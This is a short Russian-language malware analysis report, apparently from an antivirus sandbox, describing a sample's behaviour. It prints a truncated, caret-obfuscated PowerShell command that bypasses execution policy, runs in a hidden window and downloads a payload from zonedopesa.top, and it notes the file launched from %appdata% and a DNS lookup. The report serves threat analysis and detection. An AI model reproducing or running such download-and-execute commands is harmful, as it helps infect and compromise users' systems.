Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "po^wERsHelL.eXE ^-Exe^cU^TI^oNPoL^ICy^ ^b^ypAsS -nop^rofI^L^e^ ^-W^InD^OwS^T^Yl^e^ H^i^dD^en (^n^e^W^-^obj^ecT s^YstE^m.N^et.WEBclI^en^T).DO^w^NlO^a^dfIle^('http://www.zonedopesa...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "po^wERsHelL.eXE ^-Exe^cU^TI^oNPoL^ICy^ ^b^ypAsS -nop^rofI^L^e^ ^-W^InD^OwS^T^Yl^e^ H^i^dD^en (^n^e^W^-^obj^ecT s^YstE^m.N^et.WEBclI^en^T).DO^w^NlO^a^dfIle^('http://www.zonedopesa...' (со скрытым окном)
